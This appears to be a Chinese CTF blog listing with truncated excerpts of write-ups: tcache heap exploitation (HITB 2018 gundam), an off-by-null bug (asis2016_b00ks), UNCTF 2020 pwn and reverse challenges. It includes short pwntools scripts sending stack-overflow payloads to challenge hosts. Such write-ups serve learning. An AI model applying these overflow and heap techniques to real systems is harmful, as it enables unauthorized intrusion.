HITB CTF 2018:gundam
[堆利用:TCache机制]HITB CTF 2018:gundam题目链接:https://github.com/moonAgirl/CTF/tree/master/2018/Hitbxctf/gundam
0x00 逆向分析sub_AEA123456789101112131415unsigned __int64 sub_AEA(){ unsigned __int64 v1; // [rsp+8h] [rbp-8h] v1 = __readfsqword(0x28u); puts(&s); puts("1 . Build a gundam "); puts("2 . Visit gundams "); puts("3 . Destory a gundam"); puts("4 . Blow up the factory"); puts("5 . Exit"); puts(&s); printf("Your choice : &qu ...
[堆入门off-by-null]asis2016_b00ks
[堆入门 off-by-null] asis2016_b00ks刚开始学pwn就听说,堆的题目很魔幻,需要大量的基础知识。在漫长地啃堆基础原理以后,这是我第一次自己研究学习并且完全明白原理的堆题。特地在此做笔记记录。
0x00 逆向分析
一进来就很容易发现,这也是堆题中最为常见的菜单题目。简单分析一下,打开程序,最先产生交互的函数是sub_B6D。
漏洞点:sub_B6D调用了sub_9F5函数,是作者自己写的read函数,再进去看看。注意这里的判定:先++buf,然后判断是否达到了最大长度(32字符),如果达到了,就跳出循环,然后把当前buf的字符变为\x00。乍一看是没什么问题,但是仔细一想,它这里的i是从0开始,当i == a2的时候其实已经读了33个字符了,也就是说如果我们刚好输入32个字符以后,它会再读一个字符,并且会把这个字符变为\x00。比如我输入了’A’ * 32,实际上数据流中我输入的是’AAAAAAAA…AAA\n’,当我们输入的第32个A被读取之后先检测是否是’\n’,通过,++buf,然后比对i是否等于a2,但是由于i从0开始,此时i为31,所以也通过,继续循环 ...
UNCTF PWN方向
[UNCTF 2020] PWN方向YLBNB直接在linux使用指令nc 45.158.33.12 8000
1234567from pwn import *io = remote('45.158.33.12',8000)payload = 'chcp 65001'io.sendline(payload)print(io.recv())
运行脚本得到flag
fan明显的栈溢出binsh+system地址
123456789101112#coding=utf-8#!/usr/bin/env pythonfrom pwn import *io = remote('node2.hackingfor.fun',49408)binsh = 0x400739payload = 'A' * (0x30 + 8) + p64(binsh)print(payload)io.sendline(payload)io.interactive()
do_you_like_me?同上题,明显的栈溢出binsh+system地 ...
UNCTF Reverse方向
[UNCTF 2020]Reverse方向re_checkin0x00 逆向分析一个简单的字符串比较
0x01 动态调试
上个断点,本地windows调试随便输入点东西双击Str2,选中第一个按一下A,flag就出来了
babypy0x00 下载文件下载完解压发现是一个exe文件和一个txt文件txt是不明加密结果,一堆0 1 3组成的数。exe打不开,不知是什么东西。
0x01 反编译百度查到,这个exe文件是pyc文件捆绑编译。需要使用pyinstxtractor脚本工具。贴一下连接:https://github.com/extremecoders-re/pyinstxtractor用法:把pyinstxtractor.py放到exe同目录文件夹下在该文件夹下打开cmd输入python2 pyinstxtractor.py babypy.exe(注:我电脑是python2 3共存,如只有一个python则python2改为python即可)然后会得到一个文件夹文件夹里就是py的编译文件pyc了。pyc编译成py文件需要uncompyle6(百度安装)但是反编译发生了报错百度发现py ...